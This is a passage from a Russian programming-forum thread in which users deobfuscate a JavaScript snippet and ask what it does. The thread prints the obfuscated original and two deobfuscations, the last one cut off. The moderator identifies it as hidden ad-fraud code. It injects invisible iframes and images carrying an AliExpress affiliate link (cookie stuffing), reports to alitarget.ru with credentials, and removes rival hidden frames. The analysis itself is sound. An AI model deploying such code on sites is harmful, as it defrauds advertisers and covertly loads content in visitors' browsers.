21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
var a = ['bGl2ZS1zdHJlYW0zNjVjb20=', 'cGFyc2U=', 'W3siaWQiOjEsImNyZWF0ZSI6IjIwMTktMDktMDVUMDk6NDA6MjcuOTAxWiIsInVwZGF0ZSI6IjIwMTktMDktMDVUMDk6NDA6MjcuOTAxWiIsImRvbWFpbiI6InMuY2xpY2suYWxpZXhwcmVzcy5jb20iLCJ5ZXMiOnRydWV9LHsiaWQiOjMsImNyZWF0ZSI6IjIwMTktMDktMDVUMDk6NTU6MjAuOTMxWiIsInVwZGF0ZSI6IjIwMTktMDktMDVUMDk6NTU6MjAuOTMxWiIsImRvbWFpbiI6ImFlMDEuYWxpY2RuLmNvbSIsInllcyI6ZmFsc2V9LHsiaWQiOjQsImNyZWF0ZSI6IjIwMTktMDktMDVUMTA6MTE6NTguOTk1WiIsInVwZGF0ZSI6IjIwMTktMDktMDVUMTA6MTE6NTguOTk1WiIsImRvbWFpbiI6InNhbHRjZG4yLmdvb2dsZWFwaXMuY29tIiwieWVzIjpudWxsfSx7ImlkIjo1LCJjcmVhdGUiOiIyMDE5LTA5LTA1VDEwOjExOjU5LjEyNFoiLCJ1cGRhdGUiOiIyMDE5LTA5LTA1VDEwOjExOjU5LjEyNFoiLCJkb21haW4iOiJzYWx0anMuMDFiZC5ydSIsInllcyI6bnVsbH0seyJpZCI6NiwiY3JlYXRlIjoiMjAxOS0wOS0wNVQxMDoxMjowMC4xNjdaIiwidXBkYXRlIjoiMjAxOS0wOS0wNVQxMDoxMjowMC4xNjdaIiwiZG9tYWluIjoibS5mYWNlYm9vay5jb20iLCJ5ZXMiOm51bGx9LHsiaWQiOjcsImNyZWF0ZSI6IjIwMTktMDktMDVUMTA6MTI6MDAuMTc2WiIsInVwZGF0ZSI6IjIwMTktMDktMDVUMTA6MTI6MDAuMTc2WiIsImRvbWFpbiI6InNhbHRjZG4yLnR3aXR0ZXIuY29tIiwieWVzIjpudWxsfSx7ImlkIjo4LCJjcmVhdGUiOiIyMDE5LTA5LTA1VDEwOjEyOjAwLjE5NloiLCJ1cGRhdGUiOiIyMDE5LTA5LTA1VDEwOjEyOjAwLjE5NloiLCJkb21haW4iOiJzYWx0Y2RuMi53d3cuaW5zdGFncmFtLmNvbSIsInllcyI6bnVsbH0seyJpZCI6OSwiY3JlYXRlIjoiMjAxOS0wOS0wNVQxMDoxMjowMC45MTNaIiwidXBkYXRlIjoiMjAxOS0wOS0wNVQxMDoxMjowMC45MTNaIiwiZG9tYWluIjoic3RyZW1hbnAuY29tIiwieWVzIjpudWxsfSx7ImlkIjoxMCwiY3JlYXRlIjoiMjAxOS0wOS0wNVQxMDoyMzo0MS44MDNaIiwidXBkYXRlIjoiMjAxOS0wOS0wNVQxMDoyMzo0MS44MDNaIiwiZG9tYWluIjoieWFzdGF0aWMubmV0IiwieWVzIjpudWxsfSx7ImlkIjoxMSwiY3JlYXRlIjoiMjAxOS0wOS0wNVQxMToyNzoxOS4zODJaIiwidXBkYXRlIjoiMjAxOS0wOS0wNVQxMToyNzoxOS4zODJaIiwiZG9tYWluIjoiaXRlbngucHJvIiwieWVzIjpudWxsfSx7ImlkIjoxMiwiY3JlYXRlIjoiMjAxOS0wOS0wNVQxMTo0MjoyMi4yNzVaIiwidXBkYXRlIjoiMjAxOS0wOS0wNVQxMTo0MjoyMi4yNzVaIiwiZG9tYWluIjoiZGwubWV0YWJhci5ydSIsInllcyI6bnVsbH0seyJpZCI6MTMsImNyZWF0ZSI6IjIwMTktMDktMDVUMTE6NTQ6NDUuMjAxWiIsInVwZGF0ZSI6IjIwMTktMDktMDVUMTE6NTQ6NDUuMjAxWiIsImRvbWFpbiI6IiIsInllcyI6bnVsbH0seyJpZCI6MTQsImNyZWF0ZSI6IjIwMTktMTAtMTFUMDY6MjM6MjEuNzc2WiIsInVwZGF0ZSI6IjIwMTktMTAtMTFUMDY6MjM6MjEuNzc2WiIsImRvbWFpbiI6InRyYWZ6LnJ1IiwieWVzIjp0cnVlfV0=', 'Ly9hbGl0YXJnZXQucnUvZ28vbGl2ZS1zdHJlYW0zNjVjb20vMA==', 'Y3JlYXRlRWxlbWVudA==', 'ZGl2', 'ZnJvbQ==', 'Ym9keQ==', 'cXVlcnlTZWxlY3RvckFsbA==', 'cHJvdG9jb2w=', 'aHR0cHM6', 'aHR0cDo=', 'cmFuZG9t', 'bGVuZ3Ro', 'cGFyZW50Tm9kZQ==', 'aW5zZXJ0QmVmb3Jl', 'cHVzaA==', 'ZmlsdGVy', 'cmVtb3ZlQ2hpbGQ=', 'aWZyYW1l', 'c3Jj', 'c3R5bGU=', 'ZGlzcGxheQ==', 'bm9uZQ==', 'd2lkdGg=', 'aGVpZ2h0', 'b3Blbg==', 'Z2V0', 'L3Qv', 'd2l0aENyZWRlbnRpYWxz', 'c2VuZA==', 'aW5jbHVkZXM=', 'ZmluZA==', 'ZG9tYWlu', 'dGVzdA==', 'cGFyZW50RWxlbWVudA==', 'Z2V0Q29tcHV0ZWRTdHlsZQ==', 'YXV0bw==', 'bG9jYXRpb24=', 'aG9zdG5hbWU=', 'XmRhdGE6', 'L2NoZWNrP3M9', 'b25yZWFkeXN0YXRlY2hhbmdl', 'cmVhZHlTdGF0ZQ==', 'dHlwZQ==', 'ZmV0Y2g=', 'bGluaw==', 'bm8tY29ycw==', 'bm8tY2FjaGU=', 'aW5jbHVkZQ==', 'Zm9sbG93', 'bm8tcmVmZXJyZXI=', 'dGhlbg==', 'ZnJlcQ==', 'Zm9yRWFjaA==', 'c2hhcmU=', 'Y29uY2F0', 'Y3VycmVudFNjcmlwdA==', 'Y3Vyc29y', 'cG9pbnRlcg==', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'Y2xpY2s=', 'YWRkZWROb2Rlcw==', 'dGFnTmFtZQ==', 'SUZSQU1F', 'b2JzZXJ2ZQ==', 'RE9NTm9kZUluc2VydGVk', 'c3JjRWxlbWVudA==', 'aW1n', 'cXVlcnlTZWxlY3Rvcg==', 'c3Bhbg==', 'b25sb2Fk', 'Vmlldw==', 'U3R1ZmZpbmc=', 'X19HTE9CQUxfXw==', 'YWxpdGFyZ2V0LnJ1', 'eWVz'];
(function (c, d) {
    var e = function (f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    e(++d);
}(a, 0xe2));
var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['jLdveT'] === undefined) {
        (function () {
            var f;
            try {
                var g = Function('return (function() ' + '{}.constructor(\"return this\")( )' + ');');
                f = g();
            } catch (h) {
                f = window;
            }
            var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            f['atob'] || (f['atob'] = function (j) {
                var k = String(j)['replace'](/=+$/, '');
                for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
                    n = i['indexOf'](n);
                }
                return p;
            });
        }());
        b['BdWOIO'] = function (q) {
            var r = atob(q);
            var s = [];
            for (var t = 0x0, u = r['length']; t < u; t++) {
                s += '%' + ('00' + r['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(s);
        };
        b['tDDVMZ'] = {};
        b['jLdveT'] = !![];
    }
    var v = b['tDDVMZ'][c];
    if (v === undefined) {
        e = b['BdWOIO'](e);
        b['tDDVMZ'][c] = e;
    } else {
        e = v;
    }
    return e;
};
var EventType;
(function (c) {
    c[b('0x0')] = 'View';
    c[b('0x1')] = b('0x1');
}(EventType || (EventType = {})));
(async (d, e) => {
    const f = b('0x2');
    const g = '';
    let h = b('0x3');
    const i = '';
    const j = 'no' === b('0x4');
    const k = b('0x5');
    let l = [];
    try {
        l = JSON[b('0x6')](b('0x7'));
    } catch (m) {}
    const n = 0x0;
    let o = [];
    try {
        o = JSON[b('0x6')]('[{\"id\":2,\"freq\":100,\"type\":\"image\",\"share\":null,\"link\":\"//s.click.aliexpress.com/e/bsZQj5d9?dp=live-stream365com\"}]');
    } catch (p) {}
    const q = b('0x8');
    const r = d[b('0x9')](b('0xa'));
    const s = Array[b('0xb')](document[b('0xc')][b('0xd')]('*'));
    let t = [];
    let u = [];
    const v = [];
    const w = (window['location'][b('0xe')] === b('0xf') ? b('0xf') : b('0x10')) + '//' + h;
 
    function x(y, z = 0x5) {
        const A = s[Math['floor'](Math[b('0x11')]() * s[b('0x12')])];
        A[b('0x13')][b('0x14')](y, A);
        t[b('0x15')](y);
        setTimeout(() => {
            t = t[b('0x16')](B => B !== y);
            A['parentNode'][b('0x17')](y);
        }, z * 0x3e8);
    }
 
    function C(D, E = ![], F) {
        const G = document[b('0x9')](E ? 'img' : b('0x18'));
        G[b('0x19')] = D;
        G[b('0x1a')][b('0x1b')] = b('0x1c');
        G[b('0x1a')][b('0x1d')] = '0px';
        G[b('0x1a')][b('0x1e')] = '0px';
        x(G, F);
    }
 
    function H(I, f) {
        const K = new XMLHttpRequest();
        K[b('0x1f')](b('0x20'), w + b('0x21') + k + '/' + I + '/' + f);
        K[b('0x22')] = !![];
        K[b('0x23')]();
    }
 
    function L(M) {
        if (v[b('0x24')](M[b('0x19')])) {
            return M['parentElement']['removeChild'](M);
        }
        const N = l[b('0x25')](O => new RegExp(O[b('0x26')], 'i')[b('0x27')](M[b('0x19')]));
        if (N) {
            if (N[b('0x4')]) {
                M[b('0x28')][b('0x17')](M);
            }
            return;
        }
        const {
            width,
            height,
            display
        } = window[b('0x29')](M);
        let P = display === 'none';
        if (!P) {
            const e = M[b('0x1d')] === 'auto' || width === b('0x2a') ? 0x1 : isNaN(parseInt(M[b('0x1d')], 0xa)) ? parseInt(width, 0xa) : 0x1;
            const R = M[b('0x1e')] === b('0x2a') || height === b('0x2a') ? 0x1 : isNaN(parseInt(M[b('0x1e')], 0xa)) ? parseInt(height, 0xa) : 0x1;
            P = e * R === 0x0;
        }
        if (P && !t['includes'](M) && M['src'] && (window[b('0x2b')]['hostname'] ? !new RegExp(window['location'][b('0x2c')], 'i')[b('0x27')](M['src']) : !![]) && !new RegExp(b('0x2d'), 'i')['test'](M['src'])) {
            try {
                const S = new XMLHttpRequest();
                S[b('0x1f')](b('0x20'), w + b('0x2e') + btoa(M[b('0x19')]));
                S[b('0x2f')] = function () {
                    if (S[b('0x30')] === 0x4 && S['status'] === 0xc9) {
                        v[b('0x15')](M[b('0x19')]);
                        M[b('0x28')][b('0x17')](M);
                        W();
                    }
                };
                S[b('0x23')]();
            } catch (T) {}
        }
    }
 
    function U(V) {
        if (V[b('0x31')] === b('0x32')) {
            fetch(V[b('0x33')], {
                'method': 'GET',
                'mode': b('0x34'),
                'cache': b('0x35'),
                'credentials': b('0x36'),
                'redirect': b('0x37'),
                'referrer': b('0x38')
            })[b('0x39')]();
        } else {
            C(V['link'], V[b('0x31')] === 'image', +V[b('0x3a')]);
        }
        H(EventType[b('0x1')], +V['id']);
    }
 
    function W() {
        if (u && u[b('0x12')]) {
            u[b('0x3b')](clearInterval);
            u = [];
        }
        const X = Math[b('0x11')]();
        const Y = o['filter'](Z => !!Z[b('0x3c')])['sort']((a0, a1) => +a0[b('0x3c')] - +a1[b('0x3c')]);
        const a2 = [];
        let a3 = 0x0;
        for (const a4 of Y) {
            const a5 = +a4[b('0x3c')] + a3;
            if (a5 > X) {
                a2['push'](a4);
                break;
            }
            a3 = a3 + +a4['share'];
        }
        o['filter'](a6 => !a6[b('0x3c')])[b('0x3d')](a2)[b('0x3b')](a7 => {
            U(a7);
            setTimeout(() => {
                U(a7);
            }, 0xa * 0x3e8);
            u[b('0x15')](setInterval(() => {
                U(a7);
            }, +a7[b('0x3a')] * 0x3e8));
        });
    }
    r['id'] = f;
    d[b('0x3e')]['__'] = f;
    d[f] = function (a8) {
        if (g) {
            const a9 = d['createElement']('img');
            a9[b('0x19')] = g;
            a9['style'][b('0x3f')] = b('0x40');
            a9[b('0x41')](b('0x42'), () => {
                window[b('0x1f')](q);
            });
            a8['parentNode'][b('0x14')](a9, a8);
            t[b('0x15')](a9);
        }
        H(EventType['View'], +'0');
        setTimeout(() => {
            W();
        }, n);
        if (j) {
            if (window['hasOwnProperty']('MutationObserver')) {
                new MutationObserver(function (aa) {
                    aa[b('0x3b')](function (ab) {
                        if (ab[b('0x43')] && ab['addedNodes'][b('0x12')]) {
                            ab['addedNodes'][b('0x3b')](ac => {
                                if (ac[b('0x44')] === b('0x45') || ac['tagName'] === 'IMG') {
                                    L(ac);
                                }
                            });
                        }
                    });
                })[b('0x46')](document['body'], {
                    'childList': !![],
                    'subtree': !![]
                });
            } else {
                for (const H of ['DOMSubtreeModified', b('0x47')]) {
                    document[b('0xc')]['addEventListener'](H, function (ae) {
                        if (ae[b('0x48')][b('0x44')] === b('0x45') || ae[b('0x48')][b('0x44')] === 'IMG') {
                            L(ae[b('0x48')]);
                        }
                    });
                }
            }
            document[b('0xc')][b('0xd')](b('0x18'))['forEach'](L);
            document[b('0xc')][b('0xd')](b('0x49'))[b('0x3b')](L);
        }
    };
    if (i) {
        d[i] = d[f];
        e[i] = function (...af) {
            h = af[0x0];
            d[f](d[b('0xc')][b('0x4a')](af[0x1])['appendChild'](d[b('0x9')](b('0x4b'))));
        };
    }
    if (!d[b('0x3e')][b('0x4c')]) {
        d[f](d[b('0x3e')]);
    }
})(document, window);
1
1 / 1 / 0
Регистрация: 28.10.2019
Сообщений: 3
31.10.2019, 14:44  [ТС]
Любые догадки.. На что вообще похоже? Он специально написан, так чтобы никто не догадался? )
0
1 / 1 / 0
Регистрация: 03.11.2017
Сообщений: 7
14.05.2023, 13:35
Деобфусцировал чуть больше, не знаю что делает. На первый взгляд похоже что скрипт создаёт изображение с длиной и шириной 0 пикселей, делает его невидимым, ещё отправляет реквесты на какие-то сайты.
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
var EventType;
EventType.View = 'View';
EventType.Stuffing = "Stuffing";
 
let h;
const g='';
const i = '';
const j = false;
let l = JSON.parse('[{"id":1,"create":"2019-09-05T09:40:27.901Z","update":"2019-09-05T09:40:27.901Z","domain":"s.click.aliexpress.com","yes":true},{"id":3,"create":"2019-09-05T09:55:20.931Z","update":"2019-09-05T09:55:20.931Z","domain":"ae01.alicdn.com","yes":false},{"id":4,"create":"2019-09-05T10:11:58.995Z","update":"2019-09-05T10:11:58.995Z","domain":"saltcdn2.googleapis.com","yes":null},{"id":5,"create":"2019-09-05T10:11:59.124Z","update":"2019-09-05T10:11:59.124Z","domain":"saltjs.01bd.ru","yes":null},{"id":6,"create":"2019-09-05T10:12:00.167Z","update":"2019-09-05T10:12:00.167Z","domain":"m.facebook.com","yes":null},{"id":7,"create":"2019-09-05T10:12:00.176Z","update":"2019-09-05T10:12:00.176Z","domain":"saltcdn2.twitter.com","yes":null},{"id":8,"create":"2019-09-05T10:12:00.196Z","update":"2019-09-05T10:12:00.196Z","domain":"saltcdn2.www.instagram.com","yes":null},{"id":9,"create":"2019-09-05T10:12:00.913Z","update":"2019-09-05T10:12:00.913Z","domain":"stremanp.com","yes":null},{"id":10,"create":"2019-09-05T10:23:41.803Z","update":"2019-09-05T10:23:41.803Z","domain":"yastatic.net","yes":null},{"id":11,"create":"2019-09-05T11:27:19.382Z","update":"2019-09-05T11:27:19.382Z","domain":"itenx.pro","yes":null},{"id":12,"create":"2019-09-05T11:42:22.275Z","update":"2019-09-05T11:42:22.275Z","domain":"dl.metabar.ru","yes":null},{"id":13,"create":"2019-09-05T11:54:45.201Z","update":"2019-09-05T11:54:45.201Z","domain":"","yes":null},{"id":14,"create":"2019-10-11T06:23:21.776Z","update":"2019-10-11T06:23:21.776Z","domain":"trafz.ru","yes":true}]');
const n = 0;
let o = JSON.parse('[{\"id\":2,\"freq\":100,\"type\":\"image\",\"share\":null,\"link\":\"//s.click.aliexpress.com/e/bsZQj5d9?dp=live-stream365com\"}]');
 
const q = "//alitarget.ru/go/live-stream365com/0";
const r = document.createElement();
const s = Array.from(document.body.querySelectorAll('*'));
let t = [];
let u = [];
const v = [];
const w = (window.location.protocol === "https:" ? "https:" : "http:") +"//alitarget.ru";
 
function x(y, z = 5) {
    const A = s[Math.floor(Math.random() * s.length)];
    A.length.insertBefore(y, A);
    t.push(y);
    setTimeout(() => {
        t = t.filter(B => B !== y);
        A.parentNode.removeChild(y);
    }, z * 1000);
}
 
function C(D, E = false, F) {
    const G = document.createElement(E ? 'img' : "iframe");
    G.src = D;
    G.style.display = "none";
    G.style.width = '0px';
    G.style.height = '0px';
    x(G, F);
}
 
function H(I, f) {
    const K = new XMLHttpRequest();
    K.open("get", w + "/t/live-stream365com/" + I + '/' + f);
    K.withCredentials = true;
    K.send();
}
 
function L(M) {
    if (v.includes(M.src)) {
        return M.parentElement.removeChild(M);
    }
    const N = l.find(O => new RegExp(O.domain, 'i').test(M.src));
    if (N) {
        if (N.yes) {
            M.parentElement.removeChild(M);
        }
        return;
    }
    const {
        width,
        height,
        display
    } = window.getComputedStyle(M);
    let P = display === 'none';
    if (!P) {
        const e = M.width === 'auto' || width === "auto" ? 1 : isNaN(parseInt(M.width, 10)) ? parseInt(width, 10) : 1;
        const R = M.height === "auto" || height === "auto" ? 1 : isNaN(parseInt(M.height, 10)) ? parseInt(height, 10) : 1;
        P = e * R === 0;
    }
    if (P && !t.includes(M) && M.src && (window.location.hostname ? !new RegExp(window.location.hostname, 'i').test(M.src) : true) && !new RegExp("^data:", 'i').test(M.src)) {
        try {
            const S = new XMLHttpRequest();
            S.open("get", w + "/check?s=" + btoa(M.src));
            S.onreadystatechange = function () {
                if (S.readyState === 4 && S.status === 201) {
                    v.push(M.src);
                    M.parentElement.removeChild(M);
                    W();
                }
            };
            S.send();
        } catch (T) {}
    }
}
 
function U(V) {
    if (V.type === "fetch") {
        fetch(V.link, {
            'method': 'GET',
            'mode': "no-cors",
            'cache': "no-cache",
            'credentials': "include",
            'redirect': "follow",
            'referrer': "no-referrer"
        }).then();
    } else {
        C(V.link, V.type === 'image', +V.freq);
    }
    H(EventType.Stuffing, +V.id);
}
 
function W() {
    if (u && u.length) {
        u.forEach(clearInterval);
        u = [];
    }
    const X = Math.random();
    const Y = o.filter(Z => !!Z.share).sort((a0, a1) => +a0.share - +a1.share);
    const a2 = [];
    let a3 = 0;
    for (const a4 of Y) {
        const a5 = +a4.share + a3;
        if (a5 > X) {
            a2.push(a4);
            break;
        }
        a3 = a3 + +a4.share;
    }
    o.filter(a6 => !a6.share).concat(a2).forEach(a7 => {
        U(a7);
        setTimeout(() => {
            U(a7);
        }, 10000 );
        u.push(setInterval(() => {
            U(a7);
        }, +a7.freq * 1000));
    });
}
r.id = "__GLOBAL__";
document.currentScript.__ = "__GLOBAL__";
document.__GLOBAL__ = function (a8) {
    if (g) {
        const a9 = document.createElement('img');
        a9.src = g;
        a9.style.cursor = "pointer";
        a9.addEventListener("click", () => {
            window.open(q);
        });
        a8.parentNode.insertBefore(a9, a8);
        t.push(a9);
    }
    H(EventType.View, +'0');
    W();
    if (j) {
        if (window.hasOwnProperty('MutationObserver')) {
            new MutationObserver(function (aa) {
                aa.forEach(function (ab) {
                    if (ab.addedNodes && ab.addedNodes.length) {
                        ab.addedNodes.forEach(ac => {
                            if (ac.tagName === "IFRAME" || ac.tagName === 'IMG') {
                                L(ac);
                            }
                        });
                    }
                });
            }).observe(document.body, {
                'childList': true,
                'subtree': true
            });
        } else {
            for (const H of ['DOMSubtreeModified', "DOMNodeInserted"]) {
                document.body.addEventListener(H, function (ae) {
                    if (ae.srcElement.tagName === "IFRAME" || ae.srcElement.tagName === 'IMG') {
                        L(ae.srcElement);
                    }
                });
            }
        }
        document.body.querySelectorAll("iframe").forEach(L);
        document.body.querySelectorAll("img").forEach(L);
    }
};
if (i) {
    document[i] = document.__GLOBAL__;
    window[i] = function (...af) {
        h = af[0];
        document.__GLOBAL__(document.body.querySelector(af[1]).appendChild(document.createElement("span")));
    };
}
if (!document.currentScript.onload) {
    document.__GLOBAL__.(document.currentScript);
}
1
Модератор
Эксперт JS
 Аватар для Eva Rosalene
5241 / 2115 / 416
Регистрация: 06.01.2013
Сообщений: 4,846
14.05.2023, 19:00
Добилась похожего результата, выглядит как обфусцированный скрипт для показа невидомой рекламы с целью наёживания провайдера рекламы. Но вообще не поручусь.

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
var EventType;
(function (c) {
  c.View = "View";
  c.Stuffing = "Stuffing";
})(EventType || (EventType = {}));
(async (d, e) => {
  const f = "__GLOBAL__";
  const g = "";
  let h = "alitarget.ru";
  const i = "";
  const j = "no" === "yes";
  const k = "live-stream365com";
  let l = [];
  try {
    l = [
      {
        id: 1,
        create: "2019-09-05T09:40:27.901Z",
        update: "2019-09-05T09:40:27.901Z",
        domain: "s.click.aliexpress.com",
        yes: true,
      },
      {
        id: 3,
        create: "2019-09-05T09:55:20.931Z",
        update: "2019-09-05T09:55:20.931Z",
        domain: "ae01.alicdn.com",
        yes: false,
      },
      {
        id: 4,
        create: "2019-09-05T10:11:58.995Z",
        update: "2019-09-05T10:11:58.995Z",
        domain: "saltcdn2.googleapis.com",
        yes: null,
      },
      {
        id: 5,
        create: "2019-09-05T10:11:59.124Z",
        update: "2019-09-05T10:11:59.124Z",
        domain: "saltjs.01bd.ru",
        yes: null,
      },
      {
        id: 6,
        create: "2019-09-05T10:12:00.167Z",
        update: "2019-09-05T10:12:00.167Z",
        domain: "m.facebook.com",
        yes: null,
      },
      {
        id: 7,
        create: "2019-09-05T10:12:00.176Z",
        update: "2019-09-05T10:12:00.176Z",
        domain: "saltcdn2.twitter.com",
        yes: null,
      },
      {
        id: 8,
        create: "2019-09-05T10:12:00.196Z",
        update: "2019-09-05T10:12:00.196Z",
        domain: "saltcdn2.www.instagram.com",
        yes: null,
      },
      {
        id: 9,
        create: "2019-09-05T10:12:00.913Z",
        update: "2019-09-05T10:12:00.913Z",
        domain: "stremanp.com",
        yes: null,
      },
      {
        id: 10,
        create: "2019-09-05T10:23:41.803Z",
        update: "2019-09-05T10:23:41.803Z",
        domain: "yastatic.net",
        yes: null,
      },
      {
        id: 11,
        create: "2019-09-05T11:27:19.382Z",
        update: "2019-09-05T11:27:19.382Z",
        domain: "itenx.pro",
        yes: null,
      },
      {
        id: 12,
        create: "2019-09-05T11:42:22.275Z",
        update: "2019-09-05T11:42:22.275Z",
        domain: "dl.metabar.ru",
        yes: null,
      },
      {
        id: 13,
        create: "2019-09-05T11:54:45.201Z",
        update: "2019-09-05T11:54:45.201Z",
        domain: "",
        yes: null,
      },
      {
        id: 14,
        create: "2019-10-11T06:23:21.776Z",
        update: "2019-10-11T06:23:21.776Z",
        domain: "trafz.ru",
        yes: true,
      },
    ];
  } catch (m) {}
  const n = 0;
  let o = [];
  try {
    o = [
      {
        id: 2,
        freq: 100,
        type: "image",
        share: null,
        link: "//s.click.aliexpress.com/e/bsZQj5d9?dp=live-stream365com",
      },
    ];
  } catch (p) {}
  const q = "//alitarget.ru/go/live-stream365com/0";
  const r = d.createElement("div");
  const s = Array.from(document.body.querySelectorAll("*"));
  let t = [];
  let u = [];
  const v = [];
  const w =
    (window.location.protocol === "https:" ? "https:" : "http:") + "//" + h;
  function x(y, z = 5) {
    const A = s[Math.floor(Math.random() * s.length)];
    A.parentNode.insertBefore(y, A);
    t.push(y);
    setTimeout(() => {
      t = t.filter((B) => B !== y);
      A.parentNode.removeChild(y);
    }, z * 1000);
  }
  function C(D, E = ![], F) {
    const G = document.createElement(E ? "img" : "iframe");
    G.src = D;
    G.style.display = "none";
    G.style.width = "0px";
    G.style.height = "0px";
    x(G, F);
  }
  function H(I, f) {
    const K = new XMLHttpRequest();
    K.open("get", w + "/t/" + k + "/" + I + "/" + f);
    K.withCredentials = !![];
    K.send();
  }
  function L(M) {
    if (v.includes(M.src)) {
      return M.parentElement.removeChild(M);
    }
    const N = l.find((O) => new RegExp(O.domain, "i").test(M.src));
    if (N) {
      if (N.yes) {
        M.parentElement.removeChild(M);
      }
      return;
    }
    const { width, height, display } = window.getComputedStyle(M);
    let P = display === "none";
    if (!P) {
      const e =
        M.width === "auto" || width === "auto"
          ? 1
          : isNaN(parseInt(M.width, 10))
          ? parseInt(width, 10)
          : 1;
      const R =
        M.height === "auto" || height === "auto"
          ? 1
          : isNaN(parseInt(M.height, 10))
          ? parseInt(height, 10)
          : 1;
      P = e * R === 0;
    }
    if (
      P &&
      !t.includes(M) &&
      M.src &&
      (window.location.hostname
        ? !new RegExp(window.location.hostname, "i").test(M.src)
        : !![]) &&
      !new RegExp("^data:", "i").test(M.src)
    ) {
      try {
        const S = new XMLHttpRequest();
        S.open("get", w + "/check?s=" + btoa(M.src));
        S.onreadystatechange = function () {
          if (S.readyState === 4 && S.status === 201) {
            v.push(M.src);
            M.parentElement.removeChild(M);
            W();
          }
        };
        S.send();
      } catch (T) {}
    }
  }
  function U(V) {
    if (V.type === "fetch") {
      fetch(V.link, {
        method: "GET",
        mode: "no-cors",
        cache: "no-cache",
        credentials: "include",
        redirect: "follow",
        referrer: "no-referrer",
      }).then();
    } else {
      C(V.link, V.type === "image", +V.freq);
    }
    H(EventType.Stuffing, +V.id);
  }
  function W() {
    if (u && u.length) {
      u.forEach(clearInterval);
      u = [];
    }
    const X = Math.random();
    const Y = o
      .filter((Z) => !!Z.share)
      .sort((a0, a1) => +a0.share - +a1.share);
    const a2 = [];
    let a3 = 0;
    for (const a4 of Y) {
      const a5 = +a4.share + a3;
      if (a5 > X) {
        a2.push(a4);
        break;
      }
      a3 = a3 + +a4.share;
    }
    o.filter((a6) => !a6.share)
      .concat(a2)
      .forEach((a7) => {
        U(a7);
        setTimeout(() => {
          U(a7);
        }, 10 * 1000);
        u.push(
          setInterval(() => {
            U(a7);
          }, +a7.freq * 1000)
        );
      });
  }
  r.id = f;
  d.currentScript.__ = f;
  d[f] = function (a8) {
    if (g) {
      const a9 = d.createElement("img");
      a9.src = g;
      a9.style.cursor = "pointer";
      a9.addEventListener("click", () => {
        window.open(q);
      });
      a8.parentNode.insertBefore(a9, a8);
      t.push(a9);
    }
    H(EventType.View, +"0");
    setTimeout(() => {
      W();
    }, n);
    if (j) {
      if (window.hasOwnProperty("MutationObserver")) {
        new MutationObserver(function (aa) {
          aa.forEach(function (ab) {
            if (ab.addedNodes && ab.addedNodes.length) {
              ab.addedNodes.forEach((ac) => {
                if (ac.tagName === "IFRAME" || ac.tagName === "IMG") {
                  L(ac);
                }
              });
            }
          });
        }).observe(document.body, {
          childList: !![],
          subtree: !![],
        });
      } else {
        for (const H of ["DOMSubtreeModified", "DOMNodeInserted"]) {
          document.body.addEventListener(H, function (ae) {
            if (
              ae.srcElement.tagName === "IFRAME" ||
              ae.srcElement.tagName === "IMG"
            ) {
              L(ae.srcElement);
            }
          });
        }
      }
      document.body.querySelectorAll("iframe").forEach(L);
      document.body.querySelectorAll("img").forEach(L);
    }
  };
  if (i) {
    d[i] = d[f];
    e[i] = function (...af) {
